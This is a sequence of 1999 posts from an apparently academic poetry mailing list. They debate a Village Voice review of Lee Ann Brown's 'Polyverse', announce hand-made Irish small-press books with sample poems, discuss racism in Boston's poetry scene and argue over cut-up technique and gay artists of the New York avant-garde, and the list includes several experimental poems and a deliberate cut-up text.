He accuses Brown of seeming "dated, frozen in a sunstruck New York--circa-1965 atmosphere". Oddly, it's her "references to Whitman, Mayakovsky, Sappho and Stein" that Ziolkowski particularly singles out as behind-the-times, but yet when he again cites her eroticism as "What saves the book from this terminally reverent tendency", he quotes her lines "She's a minor flirt,/a cloud in trousers" without so much as a blink of open recognition that "a cloud in trousers", too, is yet another homage and "reverent tendency" (O'Hara/Mayakovsky). Ziolkowski is left looking as if he doesn't know he was quoting an appropriation of Brown's, at cross-purposes, and hence is in contradiction with himself by saying that what saves the book from a debility is the same debility.

His attitude may reach its pique when he writes: "You end up wondering . . . what's particularly new about this New American." Fair question. Personally, I am left wondering, if he was this global in treating Brown --- whom ("Brown is . . . goofy in a troubadour-hippie-Fugs way") he nonetheless seems to enjoy, despite his disparaging slant of praise --- what kind of harsher polemic The Village Voice would have printed if the book were indeed "ironic, warily analytical work".

See:

http://www.villagevoice.com/arts/9932/ziolkowski.shtml

↑ Index

179. Alan Sondheim

the best poem, the very best

Fri 13 Aug 1999

==\==\

LOST. AND TIRED. IN THESE DARK HILLS, PUNCH CARDS
PUNCH CARDS LOST IN TRANSMISSIONS, DISMAL ACROSS
DIRECTORIES, FLAYED OF MEANING AND IMAGE AND SYMBOL,
AS IF THE NIGHTS WERE ALWAYS DULLED, THE WEATHER

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AND TIRED. DO YOU KNOW TIRED, DARK. THERE ARE RHYTHMS, CYCLES IN THESE DARK AND TIRED HILLS. DO YOU KNOW SUCH REPETITION CRYING TO THE WORLD OF MEANING? LOST.

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AND BROKEN AS LANGUAGE STOPS ITSELF, TRACKED HARD IN TRADITION, LOOKING FOR THE WORDING IN THE NOISE, LOOKING FOR THE MEANING IN THE WORD. NEXT TO DEATH, WE'RE

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AND TIRED. NEXT TO DEATH, IT'S WHAT IS MEANT WHEN TEXT IS LOST, WORDS GRIND DOWN INTO SOUND AS IF NOTHING, WE ARE AFRAID OF THIS, WE PLACE WORLDS AND WORDS IN THE WAY, DO YOU KNOW ALL WORLDS ARE WORDS? SO LOST.

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THEY CLUSTER, CLUTTER, MAKE HOUSES OUT OF LINES AND LETTERS. YOU WILL BELIEVE THROUGH THEM, THE UNUTTER-

ABLE UTTERANCE OF THE WORD. SAY IT, NOTHING HAPPENS.
ALL IS ON THE PLANE OF SPEECH; WHAT PHENOMENA FOLLOW
SKITTER ACROSS UNKNOWN CARDS, ADDRESSES, MACHINES,
LOST. AND TIRED.

↑ Index

180. shana
Re: 19th C. Po&sie
Fri 13 Aug 1999

Mike--

Another Baudelaire en face edition is _Les Fleurs du Mal et Oeuvres Choisies_/_Flowers of Evil and Other Works_, a Dover edition, copyright 1992, translated by Wallace Fowlie. It was originally a Bantam book, first published in 1963 or 1964. Fowlie's translations are *okay*, but a little pretentious. Then again, he wrote a book called, _Rimbaud and Jim Morrison: The Rebel as Poet_. Stop laughing. Anyway, the book. It's a purple and yellow atrocity, I picked it up at a Barnes and Noble book annex a few years ago. Some of my NYU French department colleagues had it, too, not sure if it's Baudelaire standard or just secret among a few of us. It's better than the Matthews edition, I think, but that may just be bias toward Fowlie's ultra-impressive endnotes.

Shana
http://www.bway.net/~shana

↑ Index

181. L. MacMahon and T.R. Healy
Apologies for cross posting: Wild Honey Press Books
Fri 13 Aug 1999

Apologies for cross posting.

Here are some recent titles. I'll give a bare list first, then details below. All the books are hand sewn, with an illustrated card cover, and printed on a deskjet. (The cover for Holding Patterns is by Tom Raworth.) I dislike superlatives, so have confined myself to simple remarks on form followed by a quotation from the relevant book. (I suspect the formatting of the quotes will be a little mangled by e-mail.) This should not be read as a lack of enthusiasm on my part. Making books by hand is a labour of love and one needs to be absolutely mad about a book to do it. In the case of these books I am.

As with every other poetry press that ever was, your support is sorely needed would be very much appreciated. Visa/Mastercard accepted. Those outside Ireland/UK please contact me to sort out postage. A bulk price can be arranged for anyone wishing to really treat themselves.

A Small Book of Songs - Billy Mills
Without Asylum - Trevor Joyce
Scales - Randolph Healy
20/20 Vision - Pete Smith
Sheep Dip - John Kinsella
Travelling Mercies - Guy Birchard
Holding Patterns - Susan M. Schultz

Best wishes

Randolph Healy

A Small Book of Songs, Billy Mills, 64 pages, A5.
ISBN 1 903090 01 6. £7/$12

A book in five sections, selections from which have been published by West Coast Line, Talisman, Shearsman, Longhouse and Oasis.

proportion is everything:
tower & square
rhyme an instinct
the ideal city

a single memory
internalized
streets necessary
the garden shimmers

step in the river
feel stability
& flux words bend
under such pressure

Without Asylum, Trevor Joyce, 18cm x 11 cm, 16 pages, cover illustration by author,
ISBN 1 903090 05 9, £2/$4.

A poem in twenty one quatrains and one line.

shelter from the fall
asylum from the edge
a luminous domain
unbounded

seldom they relate
why the innocent whose mouth
is like a bowl of blood
blurts words already

Scales, Randolph Healy, 20 pp, A5, ISBN 1 903090 04 0, £3.50/$6

A poem in 14 sections.

II

what seem to be specks of dust resolve
a past
  pierced by harmonies
desolate fertile

**** feeding on itself
among a procession of icy bodies
cloud seas lands turning
the summed light of billions

sensitive damaging
two refractions one internal reflection
a city
  cut cabochon as a gem

energy in transit *** streets
reduced by distance to a brilliant glaze
where limbs and torsos
tread light

  **** freedom chance
tensing and releasing
in response to microslips along

res ipsa loquitur
relatively although not absolutely

stick bone reed metal graphite

20/20 Vision, Pete Smith, 24 pp, 14 cm x 14 cm, ISBN 1 903090 07 5

A sequence of 20 poems of 20 lines each.

Flags at half and pistols at twenty.
Beech-mast still pelts down.
The pace stretching our short days.
Evening out the stress bumps.
The tenor of morning an oratorio.
Another key where vibrato widens.

Spilt silt trickle spate estuary.
Semis, demis and demi-semis all a-quavering.
Just because there's a period doesn't mean an end.
The idea of body doesn't remove clothes.
Where there's a will there's a fisticuffs.
Way out west; way up north; weighed down.
A National Day of Morning: noon at midnight.
Mist of discharge fogs a dawn.
I half-doubt Thomas would have rhymed that.
It's bigger than a frisbee, bigger than New York.
If a poem had enough combustion.
Eiderdown. Dander up. Relaxation always a middling.
The reflexologist said, "You remind me of myself."
The twentieth line presages an abyss, of sorts.

Sheep Dip, John Kinsella, 24 pp, 7 cm x 14.5 cm, ISBN 1 903 090 02 4, £2/$4.

A poem in 41 quatrains.

my total hate, the rank stands
of tanning trees, the protected species
paddling in the dam, the demarcations
between the giddy crops

and firebreaks. Which is the Karma
of being stranded on an island
that's bigger than the ocean
it wallows in, and you're trying

to read your future in the tepid
entrails of sheep that seem to be
of normal size despite their owners
being as large as bloody giants,

and one-eyed. To drive beyond the eye
and see the corporate beast thrash about,
crushing your neighbours as one by one
the deadline falls on their pathetic

Travellin Mercies, Guy Birchard, 32pp, 16cm x 14.5 cm, ISBN 1 903090 00 8, £3.50/$6

WY handsome leathery elderly ladies of Lusk
between Deadwood and Cheyenne orient us

putting in crop recalling

bean farmers in Fort Laramie's saloon
hunch and grin

CO down in Denver among silver limpets, najas

fish around his shins
Crivelli's
Christopher relieves us

We followed the blue road in the antique Rand McNally whithersoever regardless of more recent constructions. True, the gate spanning the road posted ADMITTANCE RESTRICTED, and more blithe than obedient we gave it short pause. It only took Security a half mile anyway to pull us over and turn us back, acknowledging nothing of the blue road on our map. Down the road at the Loaf&Jug the girl explains everything, "Martin- Marietta? oh, they make missiles&stuff in there..." We never saw over that hill.

The Kid's double-action Rye
$15. 1880 .41 Thunderer

Holding Patterns, Susan M. Schultz, 24 pp, A5, ISBN 1 903090 03 2, £3.50/$6

Antigone was a beached heiress intent
on returning Gilligan to his life
of suburban haplessness 'til the speech
coach knocked off her tongue (which
was never mother) and syllables entered
stage below like steam from Chilean
baths, assumptions chilled as a corps
of Marines building bridges over
crossed rivers. Too much thought
stifles paralysis, don't you think,
enabling mental blocks to walk planks.
I heard the splash, never associating
it with fundaments of faith, the aegis
that sounds like Jesus, forbidden
conclusiveness in the name of a better
or more bitter) ending for his readers'
response. Drug store cushions absorb
more shock than that; headphones lifted
by athletes contain less music
than foreplay of static, sound
becoming something more or less like
guilty silence. Redeem your pawns
at the door, for all exchange is not
inheritance, these angled communiqués

borne out in bottles hijinxed by ships
that carry human cargo until carcasses
recall Carcassone and history returns
as a mare running ovals, straitlaced
executives turning holidays into hectares
of dubious proclivity, not knowing one
agenda to triumph when waterfalls vanish
in valleys where the air is admonishment.

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm
or find more Irish writing at:
http://www.nd.edu/~ndr/issues/ndr7/contents.html

↑ Index

182. **Douglas**
Re: Village Voice POLYVERSE review
Fri 13 Aug 1999

Jeffrey:

Thank you for the good analysis of a very wrong-headed
review. I truly appreciate it.

Douglas Messerli, Sun & Moon Press.

Jeffrey Jullich wrote:
>
> Wednesday's Village Voice runs a lukewarm or even unfavorable
> review of Lee Ann Brown's ~Polyverse,~ filled with gratuitous innuendo
> about Language Poetry. The reviewer is named Thad Ziolkowski.
>
> He doesn't wait any longer than ~the first sentence~ to mention Charles
> (Bernstein), who selected ~Polyverse~ for the "prestigious" New
> American Poetry Series, and to begin casting veiled aspersions against
> him. We wouldn't have expected ~Polyverse~ as Charles' choice,
> Ziolkowski says: we would have expected "ironic, warily analytical
> work". Charles, here cast as papal, bishopric, or censorious by
> Ziolkowkski, should have been more likely to give ~that~ his "imprimatur".
>
> Ziolkowski criticizes Brown, basically, as too much a patchwork quilt of
> styles. (An assessment which Sun & Moon's own amazon.com Book
> Description is not, at a more positive slant, far afield from: "many forms
> and possibilities. Taking its cue from a wide range of modern and
> postmodern poetics, Brown's work . . .") ~Polyverse,~ he says, fails in

> echoing New York School, Beat, and Language, without synthesizing
> those influences. (Nor does Z. entertain the inkling that syncretism is not
> the only solution, that the ~Poly-~ in ~Polyverse~ may actually mean
> something, and that the segregated stylistics Brown leaves behind is
> ~more~ in tune with an aesthetic of polyvocalism.)
>
> He finally treats this "thirtysomething" poet (his agism) as if, as I read it,
> this were a beginner's problem that she will hopefully work out in time
> ("But then maybe the orgy among all these poetic influences is just
> getting warmed up").
>
> If it weren't for Brown eroticizing her Language-like "proliferation of
> grammatical terms", Language Poetry by itself is just "lifeless automatic
> pilot".
>
> He accuses Brown of seeming "dated, frozen in a sunstruck New
> York--circa-1965 atmosphere". Oddly, it's her "references to Whitman,
> Mayakovsky, Sappho and Stein" that Ziolkowski particularly singles out
> as behind-the-times, but yet when he again cites her eroticism as "What
> saves the book from this terminally reverent tendency", he quotes her
> lines "She's a minor flirt,/a cloud in trousers" without so much as a blink
> of open recognition that "a cloud in trousers", too, is yet another homage
> and "reverent tendency" (O'Hara/Mayakovsky). Ziolkowski is left looking
> as if he doesn't know he was quoting an appropriation of Brown's, at
> cross-purposes, and hence is in contradiction with himself by saying
> that what saves the book from a debility is the same debility.
>
> His attitude may reach its pique when he writes: "You end up wondering
> . . . what's particularly new about this New American." Fair question.
> Personally, I am left wondering, if he was this global in treating Brown ---
> whom ("Brown is . . . goofy in a troubadour-hippie-Fugs way") he
> nonetheless seems to enjoy, despite his disparaging slant of praise ---
> what kind of harsher polemic The Village Voice would have printed if the
> book were indeed "ironic, warily analytical work".
>
> See:
>
> http://www.villagevoice.com/arts/9932/ziolkowski.shtml

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183. **maz881**
Re: Village Voice POLYVERSE review
Fri 13 Aug 1999

---

dear Jeffrey Jullich

that phrase that thad uses to describe bernstein's supposed wants ("ironic, warily analytical work") might be more applicable to thad's own book, my son the arsonist. maybe thad was bummed charles didn't pick him.

i guess i mean i didn't find the review all that negative.

BillL

<<Wednesday's Village Voice runs a lukewarm or even unfavorable review of Lee Ann Brown's ~Polyverse,~ filled with gratuitous innuendo about Language Poetry. The reviewer is named Thad Ziolkowski.

He doesn't wait any longer than ~the first sentence~ to mention Charles (Bernstein), who selected ~Polyverse~ for the "prestigious" New American Poetry Series, and to begin casting veiled aspersions against him. We wouldn't have expected ~Polyverse~ as Charles' choice, Ziolkowski says: we would have expected "ironic, warily analytical work". Charles, here cast as papal, bishopric, or censorious by Ziolkowkski, should have been more likely to give ~that~ his "imprimatur".>>

↑ Index

184. **Gerald Schwartz**
Re: I Guess I'll Say It Flat Out
Fri 13 Aug 1999

Re: A H Bramhall's piece of 11 Aug

Every time I read
the word "Boston"
in this piece, I found
myself easily
substituting the words
"Albany" and "Syracuse".
They seem to fit too well.

Gerald

↑ Index

185. A H Bramhall
Elijah "Pumpsie" Green At BoPo
Fri 13 Aug 1999

Being quite civilized on the surface: the neighborhoods were lines not to cross from Boston, and, hell, as a Yankees fan in 1978 even owned 1959, if memory serves me right, a full 12 years after Jackie Robinson and Larry Doby--but from the poetic community I know their isn't even a subtle form. segregated and everyone knew which None from live. a "Boston Sucks" T-shirt, until from Boston, this post caught my sister take it back, but geez. Be rather than racism, that at times leads to non-diverse events and publications, sometimes even my own. my mother found out about looks bad by comparison made, my eye of racism. racist place I've ever the uncrossable Maybe which Nada. it's changed since I left The ideas of neighborhoods being segregated and knowing I guess I'll say it flat out: Boston is the most lines segregated and everyone knew relates to just about any major metropolis, including San Francisco and maybe Boston just. it's 15 years ago, but I kind of doubt it. Good. simply ignorance I'm not no matter how racist I think simply through inquiry or attending New York, each of which I've lived in, the latter for most of my Granted, I went lived. there to New York & on to San Francisco-so It takes an extra effort to be inclusive, be it horror stories from many former residents, and, back to Instead, again, baseball, the Red Sox were even the last team to integrate Instead, again, more ethnically and racially diverse reading series, Pumpsie Green in Zip.

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186. Poetics List
Samuel Delany Reading
Fri 13 Aug 1999

This is sure to be of interest to the list. Chris

--

Samuel Delany Reading
Tuesday, August 17th at 7:30pm
Modern Times Bookstore
888 Valencia St. @ 20th St.
San Francisco

Call [redacted] for more info

↑ Index

187. **Mark Weiss**

Re: Boston poetry community as part of racist Boston? Geez.

Fri 13 Aug 1999

I have to say I've always loved Boston, with all its grimy problems. But I think I know a different Boston. Cambridge, for one, the working-class part where my friends live (away from Harvard Square), is thoroughly integrated. A lot of other neighborhoods are de facto, and fairly viciously, segregated, but that's true, and inexcusable, almost everywhere in this country. In San Diego, where I now live, even the street traffic, such as it is, is segregated, except for a handful of small downtown neighborhoods, in one of which I live. Many of New York's (and San Francisco's) suburbs are equally so, especially where race and class work together, and so are a lot of NYC neighborhoods--not too many white faces in BedSty or Harlem, not too many non-Italians in Bensonhurst. And foot traffic doesn't necessarily equal domicile, even in the more enlightened neighborhoods. How does this translate to the lit world? I've been out of New York for about ten years, so maybe things have changed, but I can think of only a handful of non-anglo regular participants in the scenes that I knew best over the 30 years that I was involved--St. Mark's, the Upper West Side, the Ear--and no anglo participants in, for instance, the West Indian poetry scene that flourishes in Brooklyn. I'd love to be wrong about this.

Here's a Newton story. In the early 70's I dated a woman who belonged to a Boston commune that suddenly found itself homeless. They lucked into a month-to-month rental in the Newton of grand estates--the owner was trying to figure out what to do with the property and figured he might as well pay the tax burden with a rental. As a result eight scruffy types, including one poet and two people of color, spent three years in a 40 room mansion. I don't know what the neighbors thought, or if they even knew--the place sat in the middle of 12 acres of field, forest and pond. But I guess they had integrated Newton. And they gave great parties.

At 09:31 PM 8/12/99 GMT, you wrote:
>RE: well, i gotta back karen up on this; being from boston (or rather
>newton, the "golden ghetto" of the greater boston area) i can attest to the
>sharp divisions in neighborhoods --more so than in SF or NYC.
>
>I am also from Newton (the "golden ghetto")and got used to running into
>people who thought I was rich. But you should know better, as do I: Newton
>is comprised of many Newtons: Newton Center, Newtonville, West Newton,
>Newton Highlands, Newton Upper Falls, Newton Lower Falls, THE LAKE (!!),
>Chestnut Hill, etc, etc. --it is one of the most economically diverse
>suburbs in Boston, if not THE most diverse. Yes, it is chock-full of lawyers
>and psychiatrists (Newton Center has the highest number of psychiatrists per

>sq mile in the country) and the "new" high-tech rich, but just a few miles
>away in any direction are the working class and blue collar people. Artists
>and writers also flourish there--it's close to the city and also has a
>lively arts scene of its own.
>
>If by "sharp divisions" in neighborhoods, you mean racially unmixed
>neighborhoods, well, when I was growing up there it was not
>racially/ethnically mixed--but no suburb that far away from the city was.
>Now it is though. If you don't believe me, take a trip down Washington
>Street from West Newton to Newton Corner, or drive through some
>neighborhoods next time you're there.
>
>>From: Maria Damon <[redacted]>
>>Reply-To: UB Poetics discussion group <[redacted]>
>>To: [redacted]
>>Subject: Re: Boston poetry community as part of racist Boston? Geez.
>>Date: Wed, 11 Aug 1999 17:34:18 -0600
>>
>>At 4:15 PM -0400 8/11/99, David Kirschenbaum wrote:
>> >>Karen Kelley wrote:
>> >
>> >>Being from Boston, this post caught my eye. I guess I'll say it flat
>> >out:
>> >>Boston is the most racist place I've ever lived. Granted, I >went from
>> >>there to New York & on to San Francisco--so maybe Boston >just looks
bad
>>by
>> >>comparison. It all seemed quite civilized on the >surface: the
>> >>neighborhoods were segregated and everyone knew which >lines not to
>>cross.
>> >>Maybe it's changed since I left 15 years ago, >but I kind of doubt it.
>> >
>> >I'm not from Boston, and, hell, as a Yankees fan in 1978 even owned a
>> >"Boston Sucks" T-shirt, until my mother found out about it and made my
>> >sister take it back, but geez, no matter how racist Boston may be --and
>>I've
>> >heard horror stories from many former residents, and, back to baseball,
>>the
>> >Red Sox were even the last team to integrate, Pumpsie Green in 1959, if
>> >memory serves me right, a full 12 years after Jackie Robinson and Larry
>> >Doby--but from the poetic community I know their isn't even a subtle form
>>of

>> >racism. None. Zip. Nada.
>> >The ideas of neighborhoods being segregated and knowing the uncrossable
>> >lines relates to just about any major metropolis, including San Francisco
>> >and New York, each of which I've lived in, the latter for most of my
>>live.
>> >Instead, again, I think it's simply ignorance rather than racism, that at
>> >times leads to non-diverse events and publications, sometimes even my
>>own.
>> >It takes an extra effort to be inclusive, be it simply through inquiry or
>> >attending more ethnically and racially diverse reading series.
>> >Be Good,
>> >David
>>
>>well, i gotta back karen up on this; being from boston (or rather newton,
>>the "golden ghetto" of the greater boston area) i can attest to the sharp
>>divisions in neighborhoods --more so than in SF or NYC. however, there are
>>other forms of racism, such as in the Twin Cities where everything's
>>supposed to be so nicey nice. the neighborhoods aren't as sharply divided,
>>but people are almost wilfully naive and want to deny difference wherever
>>they find it.
>
>
>_____
>Get Free Email and Do More On The Web. Visit http://www.msn.com
>
>

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188. **A H Bramhall**
Boston's Last Poet
Fri 13 Aug 1999

Pumpsie Green found the distances difficult to navigate, the hardscrabble pitiless. efforting the needful, he came up lacking. his brother Cornell gained distinction with the Dallas Cowboys, Pumpsie just got drunk with his extra tall teammate and boded something about flying to Israel: never got there. heroes are sometimes incomplete, as are most political moves. gestures are far more agreeable. the days grow shadowy at certain times, a matter of physical space, the dialectic of disadvantage. this is home for the clouded, this relentless physical insistence. that there be a place; that that place be filled; that intention grows ever more difficult in the demands of more space and less. Pumpsie

never became a man, for he always was. always, no matter how carved from the ulteriour and sent down the river. the writers on the beat aren't now and never were anyway close to the core, nor have they access to the margins. they just know something happened, know by an inferiour logic. they never reach the end of the line because, why, that line bends indistinctively into a polite class war, the kind we save for our neighbours. the line bends to return, then bends again. how much engagement can one stand? Pumpsie was not our neighbour, perhaps, but was equally lost. community doesn't survive for nothing. deliverance is a sensible point of view, in the rare guarded age we've made. the song follows the social dictates as ever, forever, filling the stream with a little trail of blood, figurative blood, the only kind any of us believe in. the miners look up, suddenly discover Pumpsie, in the sharp cone of their sight. your edge is now mainframe, sir, they say, and gracefully embrace the formerly failing ballplayer.

↑ Index

189. **R M Daley**

oh my god: cut-ups / "homosexualization of the New York avant-garde"

Fri 13 Aug 1999

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1. please see sedgwick's intro to Novel Gazing, puclished Duke Press 1997 for a primer on "queer theory" which departs ferociously from, says a thousand goodbyes to, freud and his cronies whose arrested sexual (theory) development foisted repression on any and everything not deemed 'natural' or 'biological' - this (queer theory) comes from a regard for identity as a lot of hooey, and the notion that pieces of art are extensions of social, sexual, personal identity is based completely in typecasting "cut-ups" as something not original, lyrical, personal, constitutive of the breeder's identity (nowadays put into sterile, scientized terms like genes, DNA, genetic blueprint, etc) - fine, cut-ups are bastards - the point is that queer theory would never regard art as the children of artists in the first place, let alone concede that gay men have mules - (art unable itself of reproducing)

2. queer theory has very little truck with terms like 'gay," "lesbian" "hetero" - that's the point of queer theory - throwing out the babies, the bathwater , that all this identity festers in - and leaving the paranoia to the new historicists - queer theory is mired in production , the point is that is does so regardless of its subscription to its own identity

3. not everyone has to have babies - some women don't have babies - some women who fuck with men don't have babies - some women who fuck with women don't have babies - some women who fuck men have babies and then

give them away - some men who fuck men have babies - some men who fuck women have babies - some men who fuck women have babies and then kill them - some men want babies who like particularly to fuck men and women- some women who fuck women have babies

burroughs had a kid - cage was married to xenia - rauschenberg loves dogs - andy loved edie - you see how one could go on and on

↑ Index

190. Tom Orange
Village Voice POLYVERSE review
Fri 13 Aug 1999

---

jeffrey jullich writes:

"Wednesday's Village Voice runs a lukewarm or even unfavorable review of Lee Ann Brown's ~Polyverse,~ filled with gratuitous innuendo about Language Poetry...."

"lukewarm" made be accurate; "unfavorable" and "harsh polemic" are, i think, stretching it. frankly i prefer ziolkowski's review to the sort of collective gush that has constituted the responses to this book that i've seen up to now. (and aside from haas -- that he would give the book notice in the /post/ in the first place is significant.) what ziolkowski refers to as the book's "terminally reverent tendency" to engage prior poetic models applies equally well, i think, to a tendency on the part of any poetic readership to take a book so highly anticipated and long awaited unquestioningly into its embrace.

certainly the review is cheeky, provocative, irreverant even. but this is why i appreciate it. ziolkowski's tone, that of a more mature poet reading a less mature one, is odd, given that, if my information is correct, there is only three years' age difference between him and brown. and i don't agree with his notion that for a patchwork of styles to be successful it should be "synthesized into something exciting and strange."

but i don't necessarily see "gratuitous innuendos" or even open aspersions being cast here, at brown, bernstein, or language poetry. i mean, "more heart than head, goofy in a troubadour-hippie-fugs way" may strike as more backhanded than compliment, but i would think "goofy" done right is as admirable and necessary as "the serious."

would charles take offense at the charge of being an imprimatur-wielder? of course it's his position in the field that entitles him to pick the winner of the (yes, prestigous no scare quotes) NAP series in a given year, but i don't think he'd want to don the cloak of infallibility thereupon.

and what poetics, reduced to a set of devices, does not risk becoming a "lifeless automatic pilot"? for ziolkowski, the erotic element in brown's work helps her avoid this, tho not enough to overcome what he sees as the work's limitations. not a bad assessment for a first book...

(which i haven't read tho am more tempted to now)

tom orange / wdc

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191. **Maria Damon**

Re: cut-ups / "homosexualization of the New York avant-garde"

Fri 13 Aug 1999

---

earl jackson did a terrific talk on cut-up technique and gay sexuality at the Queer Beats conference in November of 1996. as i recall, he seemed to make the association through the experience of *dis*sociation gay guys of the 50s must have felt between experience and the possible expressions or means of representing it.

At 12:53 AM -0400 8/14/99, Jeffrey Jullich wrote:
>>>> Mark Prejsnar <[redacted]> 08/10/99 07:13pm >>> wrote:
>
>>Jacques,
>
>>I would be interested to hear what you feel connects the
>>"homosexualization of the New York avant-garde" with cut-up >technique....
>>(beyond the fact that some gay guys did it....)
>
>--Mark Prejsnar
>----------
>---------
>Mark,
>
>Although I don't know what Jacques' answer would be to that question, . .
>. I would like to agree with him about "the dangers of historical
>decontextualization", and that, to name as he did only Burroughs, Cage,
>and Ashbery, "homosexualization" is significant for the invention of
>cut-ups. Personally, I've already had a similar impression concerning the
>"homosexualization" of Warhol's, Johns', and Rauschenberg's
>appropriations, in relation to the genesis of Pop. (Not to forget: the
>theoretics of cut-ups' historical period were also hothouse to "Notes on
>Camp," whose own "homosexualization" treated sexuality and art style as
>self-evident equivalents.) Why I feel that way, though, may be thin ice

>to explain.
>
>I take it from your (supportive) tone that you mean your question to be
>~in defense~ of those "gay guys", . . . as though Jacques' telescoping of
>the period into one "-ization" were presumption, like talking "Velvet
>Mafia" or shortchanging heterosexualized contemporaries. But at the same
>time I'd like to submit that your "beyond the fact that some gay guys did
>it" may have a trivializing casualness about it, . . . as though there
>were always "gay guys" around, as it seems nowadays, and no less than
>three all at once independentally but coincidentally being instrumental in
>the creation of a new art form were at best some statistical fluke. As
>though the branding iron of idiosyncratic desire did not leave its stamp
>on art. Back to "historical decontextualization": those three were still
>of a generation which couldn't yet even be ~named~ as "gay", so their
>consensus in all engineering this same new art form into being is to the
>contrary rather remarkable. If a new genre were to emerge from a
>similarly exclusionary group of, say, Jews, ---or ~lesbians~ rather than
>"guys"! Ø it might be more striking and appear instantly sensible for
>someone to begin one of those typical explorations of Jewish Mysticist
>antecedents, or such.
>
>That said, let me get myself into more hot water by attempting to explain
>the parallel I find between the Warhol-Johns-Rauschenberg
>"homosexualization" and Pop, and between the Burroughs-Cage-Ashbery
>"homosexualization" and cut-ups. Proviso: I may be confusing psychology
>for ontology, and I'm almost definitely erring into what Jacques warns
>against as "analogical . . . significance." (However, given the
>metaphoric nature of "historical contextualization's" hidden similes
>themselves, some tropological thinking seems allowable.)
>
>Here¢s the point:
>
>The xerox-like image transfer methods (silk screening) of the Pop artists
>~reproduced~ images without devising new ones; similarly, that graphic
>form has its literary equivalent in cut-ups, which also, if not per se
>reproducing, re-~arrange~ a pre-existing text without introducing new
>matter.
>
>The (perhaps heretically naive) link my mind draws is---to ~biological~
>reproduction, or procreation. (There is some slippage of terms here, as
>we use the word "reproduction" for both productive biological parturition
>and the ~non-productive~ "mechanical reproduction" we know since

>Benjamin.) To blurt it out---the figure of the homosexual is, in
>biological terms, non-productive (non-reproducing), and the
>"homosexualization" artwork of those cut-up/Pop progenitors was also
>non-productive ("reproduction"). If we suspend disbelief and try to
>re-imagine from the perspective of those '50's art climate, "original"
>creation would have been seen as an indispensable criterion of ~a man's~
>art.
>
>The necessary absurdity that I¢m figuring into this logic is the cliche
>that "an artwork is like a child to the artist"; and I am of course
>assuming for the sake of this stereotyped argumentation the fallacy of the
>~childless~ homosexual, a fallacy which, however, in the case of these
>particular six artists named in the "homosexualization", happens to hold
>true (perhaps not accidentally).
>
>Hence---I suppose another way of putting this (increasingly embarassing)
>notion is that: the homosexual does not ~add~ to the world. (Although an
>unpalatable axiom, and patently objectionable on the level of the real, it
>seems fair to assert in the spirit of dogma such as "Ce sexe qui n'est pas
>un" or other post-modern metaphysics.) In these terms, the "gay guys"
>behind cut-ups and Pop reproduction, despite their incontestable
>contribution, did not ~add~ to the world or the bulk of existing
>imagery/text in the same way that a work of "original" production takes up
>space. (~Europe~ had "really" not added anything to ~Beryl of the
>Biplane;~ it's commutative, not additive.)
>
>As far as cut-ups' earlier larval stage of ~collage,~ I believe Wayne
>Koestenbaum has commented on the sublimated male-male "bonding" that
>Picasso and Braque acted out in its invention and manufacture
>(Koestenbaum, ~Double Talk: The Erotics of Male Literary Collaboration,~
>which should perhaps be required reading in relation to "beyond the fact":
>same-sex literary collaboration may ~already~ be an a priori
>"homosexualization," regardless of the participants' actual sexual
>preference, according to Koestenbaum's thesis).
>
>
>I hope this doesn't seem like Pound on Social Credit. I mean it as Queer
>Theory,---which is always speculative.
>
>Jeffrey Jullich

↑ Index

192. **Maria Damon**

Re: Accessibility, Inclusivity, The Seen Scene

Fri 13 Aug 1999

---

rest assured, pierre. lots of folks i think are reading Jonas --i don't know if they're in boston: aldon nielsen, brent edwards, myself, and others are either writing about him or teaching his work.

At 5:23 PM -0400 8/12/99, Pierre Joris wrote:
>Much enjoyed your posts re Boston poetry scene, Tisa.
>
>But seem to have missed mention by anyone on this thread (correct me if I'm
>wrong) of my favorite of the long departed Boston poetas: Stephen Jonas,
>killed by smack, or Boston, in the mid-sixties. Is he still being read? Or
>forgotten despite Joe Torra's work? I'm pretty sure Torra's selected Jonas
>from Talisman is still in print.-- Pierre
>
> -----Original Message-----
>From: UB Poetics discussion group
>[mailto:[redacted]] On Behalf Of Tisa Bryant
>Sent: Thursday, August 12, 1999 12:03 AM
>To: [redacted]
>Subject: Accessibility, Inclusivity, The Seen Scene
>
> The "guard/garde" in van- and avant- tend to do just that. It's hard to
>think of the words as having anything to do with "open"; they seem to work
>against insistence. Vanguard, at the front, standing along the curve,
>bordering on, bordering from, in relation to the center of concentric
>understanding, and bound by it until movement occurs, then starting over.
>The ins and outs.
>As I said in my post, I was one of the few, meaning three or four out of a
>possible 15, experimenting writers within the DRC, so said content in the
>Reading Series far outweighed that of the workshops/work produced. While a
>reunion of the DRC might be intriguing to some, its occurence at the next
>Alt Bo Po conference would yield yet another thread like the one currently
>being knotted here.
>I did not mean to imply that Boston's poetry scene, or its poets, were
>racist simply by living in a place with Boston's reputation. The DRC & RS
>came about out of lack, and to "break down the elitist aura surrounding
>(Black) literary figures." Bring 'em "home", make 'em accessible. So
>non-academic folks and academics could hear some poetry and meet the poets
>without feeling unwelcome, undereducated, or too poor. Much like, in
>varying respects, the Poetry Project, or the Unterberg/Y series, or Small

>Press Traffic, or what Aaron Kiely put together, or any other such thing
>going on in this world. Kiely created an event that made sense to him (and
>who knows who declined for whatever reason to attend?), invited people he
>knew, and will continue to expand and evolve as organizes future
>conferences, as David Kirschenbaum said.
>What is intriguing to me, although it's great that he's open to suggestions,
>is how he (or anyone) feels/thinks out the "alternative" in Boston (or
>anywhere) and what kinds of writers/work will be encouraged by the
>conferences, who will come and branch out, from the universities and from
>the 'hoods. Here alliances between Kiely, Lansing and Corbett could yield
>much, but I think Kiely's vision, and support of it, to be more important.
>I echo Linda Russo here, and what I think Kevin Killian was getting at.
>
>There's got to be something to get to. Where is that? Home can work just
>as well as anywhere, if one is comfortable there, of one's own making or
>ad/a/o/ption.
>Here I must point out that the quality of poetic life in Boston may simply
>not sustain many for very long. (why people leave places) It can't be the
>weather, which is just as bad if not worse in Buffalo. So, Jacques, back to
>curriculum/influence, or something. Point(s) well taken. I wish Alt Bo Po
>the best, count Aaron as a burgeoning force to be reckoned with, and hope to
>see for myself some day what happens there.
>The ethnicity & innovation issue (together and separately) is about
>inclusivity, but not ethnicity as alternative in and of itself. Here, the
>DRC references do not serve well.
>Certainly there have been some changes since The New American Poetry, or
>Gross & Quasha's Open Poetry, in which Black poets appeared together in the
>back of the book, instead of within the categorical sections in which they
>best fit, a move that at once showcased an impressive group of Black
>experimentalists and relegated them to an unfortunate and historically
>loaded space. But certain blindnesses still persist. Also too are the
